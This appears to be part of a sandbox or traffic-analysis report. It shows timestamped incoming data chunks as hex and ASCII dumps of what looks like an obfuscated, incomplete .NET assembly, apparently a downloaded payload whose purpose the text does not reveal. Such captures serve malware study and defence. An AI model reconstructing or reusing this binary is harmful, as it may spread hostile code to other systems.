2021-12-31 18:12:58 UTC	34	IN	Data Raw: 00 00 02 80 54 00 00 04 7e 54 00 00 04 02 6f 5c 01 00 06 2a 00 00 00 e2 7e 5e 00 00 04 7e 0a 00 00 0a 28 83 00 00 0a 39 1e 00 00 00 72 75 11 00 70 28 62 00 00 0a 72 85 11 00 70 28 80 00 00 0a 28 ab 00 00 06 80 5e 00 00 04 7e 5e 00 00 04 2a 00 00 00 1b 30 05 00 50 00 00 00 14 00 00 11 02 19 17 17 73 84 00 00 0a 0b 16 0c 07 6f 3d 00 00 0a 69 0d 09 8d 16 00 00 01 0a 38 15 00 00 00 07 06 08 09 6f 34 00 00 0a 13 04 08 11 04 58 0c 09 11 04 59 0d 09 16 3d e4 ff ff ff dd 0d 00 00 00 07 39 06 00 00 00 07 6f 85 00 00 0a dc 06 2a 01 10 00 00 02 00 0a 00 37 41 00 0d 00 00 00 00 1a 73 77 00 00 0a 2a 00 32 02 74 29 00 00 01 6f 86 00 00 0a 2a 00 00 00 13 30 06 00 65 00 00 00 15 00 00 11 28 b5 00 00 06 0a 28 9a 00 00 06 0b 07 1f 20 8d 16 00 00 01 25 d0 03 01 00 04 28 25 Data Ascii: T~To\~^~(9rup(brp((^~^0Pso=i8o4XY=9o7Asw2t)o*0e(( %(%
2021-12-31 18:12:58 UTC	36	IN	Data Raw: 85 00 00 0a 2a 00 3a fe 09 00 00 fe 09 01 00 6f 3b 00 00 0a 2a 00 2a fe 09 00 00 6f 3b 01 00 06 2a 00 3a fe 09 00 00 fe 09 01 00 6f 37 00 00 0a 2a 00 2a fe 09 00 00 6f 3d 00 00 0a 2a 00 3a fe 09 00 00 fe 09 01 00 6f 3c 01 00 06 2a 00 2e 00 fe 09 00 00 28 a5 00 00 0a 2a 2a fe 09 00 00 6f 7b 00 00 0a 2a 00 2a fe 09 00 00 6f a6 00 00 0a 2a 00 4e 00 fe 09 00 00 fe 09 01 00 fe 09 02 00 28 a7 00 00 0a 2a 2a fe 09 00 00 6f a8 00 00 0a 2a 00 2e 00 fe 09 00 00 28 a9 00 00 0a 2a 2a fe 09 00 00 6f 79 00 00 0a 2a 00 2a fe 09 00 00 6f 61 00 00 0a 2a 00 2a fe 09 00 00 6f 3e 01 00 06 2a 00 1e 00 28 9a 00 00 06 2a 3a fe 09 00 00 fe 09 01 00 6f aa 00 00 0a 2a 00 4a fe 09 00 00 fe 09 01 00 fe 09 02 00 6f ab 00 00 0a 2a 00 5a fe 09 00 00 fe 09 01 00 fe 09 02 00 fe 09 03 00 Data Ascii: :o;o;:o7*o=:o<.(o{oN(*o.(oyoa*o>(:oJo*Z
2021-12-31 18:12:58 UTC	37	IN	Data Raw: 04 22 00 00 1e 10 00 00 03 2d 00 00 c8 12 00 00 e6 19 00 00 d7 04 00 00 8a 20 00 00 1a 23 00 00 60 14 00 00 9e 10 00 00 f3 1b 00 00 19 18 00 00 e9 0f 00 00 e6 21 00 00 7b 0c 00 00 02 0c 00 00 b0 24 00 00 f9 2f 00 00 f3 18 00 00 44 1c 00 00 32 11 00 00 cc 0d 00 00 7a 2d 00 00 fa 0e 00 00 04 1e 00 00 1d 00 00 00 1a 29 00 00 fb 1f 00 00 f0 2d 00 00 db 17 00 00 b5 18 00 00 cc 2a 00 00 59 02 00 00 21 14 00 00 a9 19 00 00 74 12 00 00 78 20 00 00 e1 05 00 00 a9 31 00 00 d8 26 00 00 91 00 00 00 28 02 00 00 e1 12 00 00 e2 0e 00 00 b2 00 00 00 19 0f 00 00 62 0c 00 00 b5 23 00 00 b2 05 00 00 ed 03 00 00 65 1b 00 00 aa 06 00 00 d7 09 00 00 00 16 00 00 dc 27 00 00 69 26 00 00 3e 12 00 00 b9 0a 00 00 20 24 00 00 00 2f 00 00 0f 15 00 00 77 2c 00 00 89 16 00 00 33 1e 00 Data Ascii: "- #`!{$/D2z-)-*Y!tx 1&(b#e'i&> $/w,3
2021-12-31 18:12:58 UTC	38	IN	Data Raw: 21 00 00 89 1c 00 00 86 18 00 00 f8 1a 00 00 4d 25 00 00 db 22 00 00 9c 30 00 00 e7 2c 00 00 41 1d 00 00 7e 24 00 00 b1 1a 00 00 cb 20 00 00 4c 04 00 00 4f 24 00 00 2b 10 00 00 7a 19 00 00 d8 2b 00 00 99 2d 00 00 b0 07 00 00 50 26 00 00 fa 12 00 00 38 4a 22 00 00 fe 0c 01 00 20 0f 00 00 00 fe 0c 14 00 9c 20 9c 01 00 00 38 4a f9 ff ff fe 0c 01 00 20 02 00 00 00 fe 0c 1c 00 9c 20 98 00 00 00 28 76 01 00 06 3a 2d f9 ff ff 26 20 31 01 00 00 38 22 f9 ff ff fe 0c 01 00 20 05 00 00 00 20 5f 00 00 00 20 29 00 00 00 59 9c 20 b7 00 00 00 fe 0e 1f 00 38 fb f8 ff ff fe 0c 0d 00 20 16 00 00 00 fe 0c 10 00 9c 20 60 01 00 00 38 e7 f8 ff ff 11 25 11 08 61 13 26 20 84 00 00 00 38 d6 f8 ff ff 73 77 00 00 0a 13 21 20 2b 01 00 00 28 75 01 00 06 3a c0 f8 ff ff 26 20 25 00 00 Data Ascii: !M%"0,A~$ LO$+z+-P&8J" 8J (v:-& 18" _ )Y 8 `8%a& 8sw! +(u:& %
2021-12-31 18:12:58 UTC	40	IN	Data Raw: ff ff 20 28 00 00 00 20 3b 00 00 00 58 fe 0e 1c 00 20 26 01 00 00 28 76 01 00 06 39 41 f4 ff ff 26 20 ae 00 00 00 38 36 f4 ff ff fe 0c 0d 00 20 0f 00 00 00 fe 0c 18 00 9c 20 5d 00 00 00 28 76 01 00 06 3a 19 f4 ff ff 26 20 8d 00 00 00 38 0e f4 ff ff fe 0c 0d 00 20 11 00 00 00 fe 0c 18 00 9c 20 a8 00 00 00 38 f6 f3 ff ff fe 0c 01 00 20 00 00 00 00 fe 0c 1c 00 9c 20 a8 00 00 00 28 76 01 00 06 3a d9 f3 ff ff 26 20 fd 00 00 00 38 ce f3 ff ff 20 f1 00 00 00 20 50 00 00 00 59 fe 0e 18 00 20 15 00 00 00 38 b5 f3 ff ff fe 0c 0d 00 20 02 00 00 00 20 da 00 00 00 20 48 00 00 00 59 9c 20 30 00 00 00 28 76 01 00 06 3a 91 f3 ff ff 26 20 88 00 00 00 38 86 f3 ff ff 20 1e 00 00 00 20 16 00 00 00 58 fe 0e 10 00 20 a6 00 00 00 38 6d f3 ff ff 20 a9 00 00 00 20 38 00 00 00 59 Data Ascii: ( ;X &(v9A& 86 ](v:& 8 8 (v:& 8 PY 8 HY 0(v:& 8 X 8m 8Y
2021-12-31 18:12:58 UTC	41	IN	Data Raw: 39 03 ef ff ff 26 20 77 00 00 00 38 f8 ee ff ff 11 20 16 3e 6f 17 00 00 20 03 00 00 00 38 e6 ee ff ff 20 f1 00 00 00 20 50 00 00 00 59 fe 0e 18 00 20 66 01 00 00 38 cd ee ff ff fe 0c 0d 00 20 13 00 00 00 20 ac 00 00 00 20 39 00 00 00 59 9c 20 7a 00 00 00 38 ae ee ff ff fe 0c 01 00 20 08 00 00 00 fe 0c 1c 00 9c 20 2b 00 00 00 28 76 01 00 06 3a 91 ee ff ff 26 20 42 00 00 00 38 86 ee ff ff fe 0c 01 00 20 09 00 00 00 20 ac 00 00 00 20 39 00 00 00 59 9c 20 1d 00 00 00 28 76 01 00 06 3a 62 ee ff ff 26 20 60 00 00 00 38 57 ee ff ff fe 0c 0d 00 20 13 00 00 00 fe 0c 18 00 9c 20 b3 00 00 00 28 75 01 00 06 3a 3a ee ff ff 26 20 3c 00 00 00 38 2f ee ff ff fe 0c 01 00 20 06 00 00 00 fe 0c 14 00 9c 20 11 00 00 00 38 17 ee ff ff 16 13 19 20 2e 00 00 00 28 76 01 00 06 3a Data Ascii: 9& w8 >o 8 PY f8 9Y z8 +(v:& B8 9Y (v:b& `8W (u::& <8/ 8 .(v:
2021-12-31 18:12:58 UTC	43	IN	Data Raw: 38 00 00 00 00 11 0a 28 70 01 00 06 20 00 00 00 00 28 76 01 00 06 3a d8 ff ff ff 26 20 01 00 00 00 38 cd ff ff ff dc 20 35 01 00 00 38 7e e9 ff ff fe 0c 0d 00 20 1c 00 00 00 fe 0c 18 00 9c 20 70 00 00 00 38 66 e9 ff ff 20 bb 00 00 00 20 3e 00 00 00 59 fe 0e 10 00 20 a2 00 00 00 fe 0e 1f 00 38 45 e9 ff ff 16 13 05 20 19 01 00 00 38 3c e9 ff ff 20 a5 00 00 00 20 37 00 00 00 59 fe 0e 10 00 20 2f 00 00 00 28 75 01 00 06 3a 1e e9 ff ff 26 20 0a 00 00 00 38 13 e9 ff ff 11 05 11 12 5d 13 13 20 17 00 00 00 28 76 01 00 06 3a fd e8 ff ff 26 20 00 01 00 00 38 f2 e8 ff ff 20 e2 00 00 00 20 4b 00 00 00 59 fe 0e 10 00 20 00 00 00 00 28 75 01 00 06 39 d4 e8 ff ff 26 20 02 00 00 00 38 c9 e8 ff ff fe 0c 0d 00 20 08 00 00 00 20 b8 00 00 00 20 43 00 00 00 59 9c 20 45 00 00 Data Ascii: 8(p (v:& 8 58~ p8f >Y 8E 8< 7Y /(u:& 8] (v:& 8 KY (u9& 8 CY E
2021-12-31 18:12:58 UTC	44	IN	Data Raw: 00 00 00 20 7b 00 00 00 58 fe 0e 18 00 20 41 00 00 00 38 3f e4 ff ff 20 4f 00 00 00 20 70 00 00 00 58 fe 0e 14 00 20 10 00 00 00 28 76 01 00 06 3a 21 e4 ff ff 26 20 0c 01 00 00 38 16 e4 ff ff fe 0c 0d 00 20 1f 00 00 00 20 36 00 00 00 20 02 00 00 00 58 9c 20 83 00 00 00 38 f7 e3 ff ff fe 0c 01 00 20 04 00 00 00 20 af 00 00 00 20 3a 00 00 00 59 9c 20 5d 00 00 00 38 d8 e3 ff ff 20 2b 00 00 00 20 04 00 00 00 58 fe 0e 18 00 20 0a 00 00 00 28 75 01 00 06 39 ba e3 ff ff 26 20 10 00 00 00 38 af e3 ff ff fe 0c 0d 00 20 18 00 00 00 fe 0c 18 00 9c 20 76 00 00 00 38 97 e3 ff ff fe 0c 01 00 20 0d 00 00 00 fe 0c 1c 00 9c 20 a2 01 00 00 38 7f e3 ff ff fe 0c 0d 00 20 1e 00 00 00 fe 0c 18 00 9c 20 41 01 00 00 38 67 e3 ff ff fe 0c 01 00 20 03 00 00 00 20 bf 00 00 00 20 3f Data Ascii: {X A8? O pX (v:!& 8 6 X 8 :Y ]8 + X (u9& 8 v8 8 A8g ?
2021-12-31 18:12:58 UTC	45	IN	Data Raw: 26 20 23 00 00 00 38 f2 de ff ff 20 5e 00 00 00 20 29 00 00 00 58 fe 0e 18 00 20 e4 00 00 00 38 d9 de ff ff fe 0c 01 00 20 07 00 00 00 20 55 00 00 00 20 73 00 00 00 58 9c 20 33 01 00 00 fe 0e 1f 00 38 b2 de ff ff fe 0c 01 00 20 08 00 00 00 20 06 00 00 00 20 4d 00 00 00 58 9c 20 51 00 00 00 28 76 01 00 06 39 92 de ff ff 26 20 28 00 00 00 38 87 de ff ff fe 0c 0d 00 20 13 00 00 00 fe 0c 18 00 9c 20 eb 00 00 00 38 6f de ff ff fe 0c 01 00 20 04 00 00 00 fe 0c 1c 00 9c 20 58 00 00 00 38 57 de ff ff fe 0c 01 00 20 0f 00 00 00 fe 0c 14 00 9c 20 95 01 00 00 fe 0e 1f 00 38 37 de ff ff 20 ff 00 00 00 13 24 20 5d 01 00 00 38 2a de ff ff fe 0c 01 00 20 03 00 00 00 fe 0c 14 00 9c 20 3a 00 00 00 28 76 01 00 06 3a 0d de ff ff 26 20 5a 00 00 00 38 02 de ff ff fe 0c 0d 00 Data Ascii: & #8 ^ )X 8 U sX 38 MX Q(v9& (8 8o X8W 87 $ ]8* :(v:& Z8
2021-12-31 18:12:58 UTC	47	IN	Data Raw: 00 58 fe 0e 14 00 20 e0 00 00 00 28 76 01 00 06 39 8f d9 ff ff 26 20 a7 00 00 00 38 84 d9 ff ff fe 0c 01 00 20 00 00 00 00 fe 0c 14 00 9c 20 a3 01 00 00 38 6c d9 ff ff 20 07 00 00 00 20 33 00 00 00 58 fe 0e 10 00 20 28 01 00 00 28 76 01 00 06 39 4e d9 ff ff 26 20 44 00 00 00 38 43 d9 ff ff 11 15 3a 17 0d 00 00 20 6c 01 00 00 38 32 d9 ff ff 7e 78 00 00 04 3a 2e eb ff ff 20 3d 01 00 00 38 1e d9 ff ff fe 0c 0d 00 20 11 00 00 00 20 75 00 00 00 20 25 00 00 00 58 9c 20 3b 00 00 00 28 76 01 00 06 3a fa d8 ff ff 26 20 84 01 00 00 38 ef d8 ff ff 11 02 16 3e b5 10 00 00 20 36 00 00 00 38 dd d8 ff ff fe 0c 0d 00 20 18 00 00 00 fe 0c 10 00 9c 20 79 01 00 00 28 75 01 00 06 3a c0 d8 ff ff 26 20 5f 00 00 00 38 b5 d8 ff ff 20 93 00 00 00 20 31 00 00 00 59 fe 0e 10 00 20 Data Ascii: X (v9& 8 8l 3X ((v9N& D8C: l82~x:. =8 u %X ;(v:& 8> 68 y(u:& _8 1Y
2021-12-31 18:12:58 UTC	48	IN	Data Raw: 1a 00 00 00 28 76 01 00 06 3a 3d d4 ff ff 26 20 15 01 00 00 38 32 d4 ff ff fe 0c 0d 00 20 09 00 00 00 fe 0c 18 00 9c 20 20 01 00 00 38 1a d4 ff ff fe 0c 0d 00 20 08 00 00 00 fe 0c 18 00 9c 20 b1 00 00 00 28 76 01 00 06 3a fd d3 ff ff 26 20 e2 00 00 00 38 f2 d3 ff ff fe 0c 0d 00 20 0d 00 00 00 20 db 00 00 00 20 49 00 00 00 59 9c 20 0d 01 00 00 28 75 01 00 06 3a ce d3 ff ff 26 20 dc 00 00 00 38 c3 d3 ff ff fe 0c 01 00 20 07 00 00 00 20 9b 00 00 00 20 25 00 00 00 58 9c 20 9a 01 00 00 38 a4 d3 ff ff 11 05 1a 5a 13 0f 20 08 01 00 00 fe 0e 1f 00 38 8c d3 ff ff 20 62 00 00 00 20 5f 00 00 00 58 fe 0e 10 00 20 85 00 00 00 38 77 d3 ff ff fe 0c 0d 00 20 03 00 00 00 fe 0c 10 00 9c 20 34 00 00 00 38 5f d3 ff ff fe 0c 0d 00 20 13 00 00 00 20 fb 00 00 00 20 53 00 00 00 Data Ascii: (v:=& 82 8 (v:& 8 IY (u:& 8 %X 8Z 8 b _X 8w 48_ S
2021-12-31 18:12:58 UTC	49	IN	Data Raw: fe 0c 0d 00 20 17 00 00 00 20 b3 00 00 00 20 3b 00 00 00 59 9c 20 07 00 00 00 28 76 01 00 06 3a ce ce ff ff 26 20 09 00 00 00 38 c3 ce ff ff fe 0c 0d 00 20 0c 00 00 00 fe 0c 18 00 9c 20 a7 00 00 00 28 75 01 00 06 39 a6 ce ff ff 26 20 d3 00 00 00 38 9b ce ff ff fe 0c 0d 00 20 1b 00 00 00 20 93 00 00 00 20 5e 00 00 00 59 9c 20 91 00 00 00 28 75 01 00 06 3a 77 ce ff ff 26 20 11 00 00 00 38 6c ce ff ff fe 0c 0d 00 20 1e 00 00 00 fe 0c 10 00 9c 20 f5 00 00 00 38 54 ce ff ff 20 0a 00 00 00 20 7b 00 00 00 58 fe 0e 18 00 20 d9 00 00 00 38 3b ce ff ff 20 6b 00 00 00 20 4f 00 00 00 58 fe 0e 10 00 20 88 01 00 00 38 22 ce ff ff 20 67 00 00 00 20 50 00 00 00 58 fe 0e 18 00 20 6a 01 00 00 38 09 ce ff ff 20 97 00 00 00 20 35 00 00 00 58 fe 0e 18 00 20 c7 00 00 00 38 f0 Data Ascii: ;Y (v:& 8 (u9& 8 ^Y (u:w& 8l 8T {X 8; k OX 8" g PX j8 5X 8
2021-12-31 18:12:58 UTC	51	IN	Data Raw: ff ff 20 77 00 00 00 20 5f 00 00 00 58 fe 0e 18 00 20 da 00 00 00 28 75 01 00 06 3a 79 c9 ff ff 26 20 72 00 00 00 38 6e c9 ff ff 38 44 f3 ff ff 20 06 00 00 00 38 5f c9 ff ff 20 2c 00 00 00 20 16 00 00 00 59 fe 0e 1c 00 20 f4 00 00 00 38 46 c9 ff ff fe 0c 0d 00 20 01 00 00 00 20 cd 00 00 00 20 44 00 00 00 59 9c 20 23 01 00 00 fe 0e 1f 00 38 1f c9 ff ff 11 13 1a 5a 13 19 20 f7 00 00 00 38 13 c9 ff ff fe 0c 0d 00 20 15 00 00 00 20 b0 00 00 00 20 3a 00 00 00 59 9c 20 c4 00 00 00 38 f4 c8 ff ff fe 0c 01 00 20 02 00 00 00 fe 0c 1c 00 9c 20 27 01 00 00 38 dc c8 ff ff 16 13 06 20 90 01 00 00 fe 0e 1f 00 38 c7 c8 ff ff 20 a5 00 00 00 20 37 00 00 00 59 fe 0e 18 00 20 1b 00 00 00 38 b2 c8 ff ff fe 0c 0d 00 20 1b 00 00 00 fe 0c 10 00 9c 20 f9 00 00 00 28 75 01 00 06 Data Ascii: w _X (u:y& r8n8D 8_ , Y 8F DY #8Z 8 :Y 8 '8 8 7Y 8 (u
2021-12-31 18:12:58 UTC	52	IN	Data Raw: 00 00 0a 0a 16 0b 38 21 00 00 00 7e 76 00 00 04 07 9a 06 28 8d 00 00 0a 39 0b 00 00 00 7e 77 00 00 04 74 36 00 00 01 2a 07 17 58 0b 07 7e 76 00 00 04 8e 69 3f d2 ff ff ff 14 2a 00 00 00 8a 02 28 09 00 00 0a 28 d1 00 00 0a 14 fe 06 64 01 00 06 73 d2 00 00 0a 6f d3 00 00 0a 28 60 01 00 06 2a 00 5e 7e 79 00 00 04 3a 0c 00 00 00 17 80 79 00 00 04 73 65 01 00 06 26 2a 7a 16 8d 08 00 00 01 80 76 00 00 04 14 80 77 00 00 04 16 80 78 00 00 04 16 80 79 00 00 04 2a 00 2e 00 fe 09 00 00 28 23 00 00 0a 2a 3a fe 09 00 00 fe 09 01 00 6f 3b 00 00 0a 2a 00 2a fe 09 00 00 6f 3b 01 00 06 2a 00 3a fe 09 00 00 fe 09 01 00 6f 37 00 00 0a 2a 00 2a fe 09 00 00 6f 3d 00 00 0a 2a 00 3a fe 09 00 00 fe 09 01 00 6f 3c 01 00 06 2a 00 2e 00 fe 09 00 00 28 7f 01 00 06 2a 3a fe 09 00 00 Data Ascii: 8!~v(9~wt6X~vi?((dso(`^~y:yse&zvwxy.(#:o;*o;:o7*o=:o<.(:
2021-12-31 18:12:58 UTC	53	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 Data Ascii: 000000000000000
2021-12-31 18:12:58 UTC	57	IN	Data Raw: 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 22 00 14 a5 14 00 00 01 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 22 00 14 a5 14 00 00 01 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 Data Ascii: ****(0"000****("0
2021-12-31 18:12:58 UTC	61	IN	Data Raw: 0e 02 0e 00 0e 01 6f 27 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 91 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 2b 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 92 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f 2f 05 00 06 2a 00 42 28 a9 00 00 06 d0 93 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 33 05 00 06 2a 00 42 28 a9 00 00 06 d0 94 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 37 05 00 06 2a 00 42 28 a9 00 00 06 d0 95 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 3b 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 96 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 3f 05 00 06 2a 00 42 28 a9 00 00 06 d0 97 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 43 05 00 06 2a 00 42 28 a9 00 Data Ascii: o'B((2o+B((:o/B((o3B((*o7B((2o;B((*o?B((*oCB(
2021-12-31 18:12:58 UTC	65	IN	Data Raw: 2d 00 1b 00 4b 00 02 01 00 00 b2 03 00 00 2d 00 1b 00 50 00 02 01 00 00 ed 03 00 00 2d 00 1b 00 55 00 02 01 00 00 1e 04 00 00 2d 00 1b 00 5a 00 02 01 00 00 50 04 00 00 2d 00 1b 00 5f 00 02 01 00 00 7c 04 00 00 2d 00 1b 00 64 00 02 01 00 00 a9 04 00 00 2d 00 1b 00 69 00 02 01 00 00 ea 04 00 00 2d 00 1b 00 6e 00 02 01 00 00 2c 05 00 00 2d 00 1b 00 73 00 02 01 00 00 5e 05 00 00 2d 00 1b 00 78 00 11 01 00 00 8b 05 00 00 31 00 1b 00 7d 00 11 01 00 00 df 05 00 00 31 00 1e 00 7d 00 11 01 00 00 0f 06 00 00 31 00 20 00 7d 00 11 01 00 00 42 06 00 00 31 00 21 00 7d 00 11 01 00 00 7f 06 00 00 31 00 24 00 7d 00 11 01 00 00 ad 06 00 00 31 00 29 00 7d 00 09 01 00 00 fe 06 00 00 31 00 2c 00 7d 00 09 01 01 00 2a 07 00 00 31 00 30 00 7d 00 01 01 00 00 5b 07 00 00 29 00 42 Data Ascii: -K-P-U-ZP-_\|-d-i-n,-s^-x1}1}1 }B1!}1$}1)}1,}*10}[)B
2021-12-31 18:12:58 UTC	69	IN	Data Raw: 3f 6c 15 16 00 33 55 6f 0e 11 00 3d 55 6c 15 06 06 5b 3c f2 0e 06 06 5b 3c f2 0e 03 00 88 55 77 15 13 00 93 55 ef 10 06 00 7a 56 ec 01 06 00 85 56 f4 10 11 00 90 56 ba 15 06 00 f4 56 01 02 11 00 ff 56 d3 15 01 00 4f 57 e5 15 13 00 5a 57 5a 12 06 06 5b 3c 75 05 36 00 fc 3f 79 0e 16 00 f2 3f 6f 0e 13 00 d6 57 ec 01 33 01 12 58 06 16 33 01 53 58 0b 16 33 01 94 58 10 16 33 01 d5 58 e9 01 33 01 16 59 15 16 33 01 57 59 1a 16 33 01 98 59 0b 16 33 01 d9 59 1f 16 33 01 1a 5a 24 16 13 00 5b 5a 75 05 13 00 7e 5a 75 05 13 00 a1 5a 75 05 13 00 c4 5a 75 05 13 00 e7 5a 75 05 13 00 0a 5b 75 05 13 00 2d 5b 75 05 13 00 50 5b 75 05 13 00 73 5b 75 05 13 00 96 5b 75 05 13 00 b9 5b 75 05 13 00 dc 5b 75 05 13 00 ff 5b 75 05 13 00 22 5c 75 05 13 00 45 5c 75 05 13 00 68 5c 75 05 Data Ascii: ?l3Uo=Ul[<[<UwUzVVVVVOWZWZ[<u6?y?oW3X3SX3X3X3Y3WY3Y3Y3Z$[Zu~ZuZuZuZu[u-[uP[us[u[u[u[u[u"\uE\uh\u
2021-12-31 18:12:58 UTC	73	IN	Data Raw: 08 00 83 00 b8 30 b2 02 1b 01 a8 a6 00 00 08 00 83 00 c2 30 b2 02 1b 01 c8 a6 00 00 08 00 83 00 cc 30 b2 02 1b 01 d8 a6 00 00 08 00 83 00 d6 30 b2 02 1b 01 e8 a6 00 00 00 00 90 00 e0 30 5f 08 1b 01 ec a6 00 00 08 00 93 00 f4 30 50 0a 1b 01 fc a6 00 00 08 00 93 00 13 31 63 08 1b 01 0c a7 00 00 08 00 93 00 27 31 69 08 1b 01 1c a7 00 00 08 00 93 00 3b 31 82 08 1b 01 30 a7 00 00 08 00 93 00 4f 31 89 08 1b 01 44 a7 00 00 08 00 93 00 63 31 56 0a 1b 01 58 a7 00 00 08 00 93 00 82 31 74 08 1b 01 64 a7 00 00 08 00 93 00 96 31 5d 0a 1b 01 7c a7 00 00 08 00 93 00 aa 31 37 01 1b 01 84 a7 00 00 08 00 93 00 be 31 65 0a 1b 01 8c a7 00 00 08 00 93 00 e4 31 74 09 1b 01 98 a7 00 00 08 00 93 00 07 32 75 0a 1b 01 a4 a7 00 00 08 00 93 00 2b 32 7a 0a 1b 01 b8 a7 00 00 08 00 93 Data Ascii: 00000_0P1c'1i;10O1Dc1VX1td1]\|171e1t2u+2z
2021-12-31 18:12:58 UTC	78	IN	Data Raw: 00 93 00 b4 44 a2 0f eb 01 1c f0 00 00 08 00 93 00 c8 44 74 09 eb 01 24 f0 00 00 08 00 93 00 dc 44 74 09 eb 01 2c f0 00 00 08 00 93 00 f0 44 c2 0a eb 01 34 f0 00 00 08 00 93 00 04 45 c2 0a eb 01 3c f0 00 00 08 00 93 00 18 45 c7 0a eb 01 44 f0 00 00 08 00 93 00 2c 45 c7 0a eb 01 4c f0 00 00 08 00 93 00 40 45 c7 0a eb 01 54 f0 00 00 08 00 93 00 54 45 c2 0a eb 01 5c f0 00 00 00 00 91 18 b9 16 37 01 eb 01 64 f0 00 00 08 00 c3 02 f9 40 07 0f eb 01 6c f0 00 00 08 00 c3 02 04 41 07 0f ec 01 74 f0 00 00 08 00 86 18 54 00 09 07 ed 01 7c f0 00 00 08 00 86 18 54 00 b5 0f ee 01 8c f0 00 00 08 00 c6 00 0f 41 1a 0f ef 01 94 f0 00 00 08 00 86 18 54 00 bc 0f ef 01 9c f0 00 00 08 00 86 18 54 00 c4 0f f1 01 a4 f0 00 00 08 00 86 18 54 00 c9 0f f2 01 ac f0 00 00 08 00 c6 00 Data Ascii: DDt$Dt,D4E<ED,EL@ETTE\7d@lAtT\|TATTT
2021-12-31 18:12:58 UTC	82	IN	Data Raw: 84 18 54 00 d7 00 65 02 38 fa 00 00 08 00 93 00 4b 48 45 01 65 02 40 fa 00 00 08 00 93 00 5f 48 13 10 65 02 48 fa 00 00 00 00 91 18 b9 16 37 01 65 02 50 fa 00 00 08 00 c3 02 f9 40 07 0f 65 02 58 fa 00 00 08 00 c3 02 04 41 07 0f 66 02 60 fa 00 00 08 00 86 18 54 00 21 10 67 02 68 fa 00 00 08 00 86 18 54 00 26 10 68 02 78 fa 00 00 08 00 c6 00 0f 41 1a 0f 69 02 80 fa 00 00 08 00 86 18 54 00 2d 10 69 02 88 fa 00 00 08 00 86 18 54 00 35 10 6b 02 90 fa 00 00 08 00 86 18 54 00 3a 10 6c 02 98 fa 00 00 08 00 c6 00 1a 41 7e 01 6e 02 a0 fa 00 00 08 00 c6 00 25 41 7e 01 6e 02 a8 fa 00 00 08 00 c6 00 bb 2e 08 02 6e 02 b0 fa 00 00 08 00 c6 00 30 41 3b 0f 6e 02 c0 fa 00 00 08 00 c3 02 3b 41 4a 0f 6f 02 d0 fa 00 00 08 00 c6 00 51 41 5f 0f 70 02 d8 fa 00 00 08 00 c3 02 5c Data Ascii: Te8KHEe@_HeH7eP@eXAf`T!ghT&hxAiT-iT5kT:lA~n%A~n.n0A;n;AJoQA_p\
2021-12-31 18:12:58 UTC	86	IN	Data Raw: 18 b9 16 37 01 18 03 7c 07 01 00 08 00 86 18 54 00 d7 00 18 03 84 07 01 00 08 00 83 00 51 55 82 0e 18 03 8c 07 01 00 08 00 93 00 60 55 45 01 1a 03 94 07 01 00 08 00 93 00 74 55 71 15 1a 03 9c 07 01 00 08 00 86 18 54 00 d7 00 1a 03 a4 07 01 00 08 00 83 00 a7 55 7e 01 1a 03 ac 07 01 00 08 00 83 00 b2 55 7e 01 1a 03 b4 07 01 00 08 00 83 00 bd 55 7e 01 1a 03 bc 07 01 00 08 00 83 00 c8 55 7e 01 1a 03 c4 07 01 00 08 00 83 00 d3 55 7e 01 1a 03 cc 07 01 00 08 00 83 00 de 55 7e 01 1a 03 d4 07 01 00 08 00 c3 03 df 49 7e 01 1a 03 dc 07 01 00 08 00 c3 03 b8 46 7e 01 1a 03 00 00 00 00 00 00 c3 07 04 41 07 0f 1a 03 e4 07 01 00 08 00 c3 03 40 48 7e 01 1b 03 ec 07 01 00 08 00 83 18 54 00 7c 15 1b 03 00 00 00 00 00 00 c3 07 3b 41 4a 0f 1c 03 00 00 00 00 00 00 c3 07 27 44 Data Ascii: 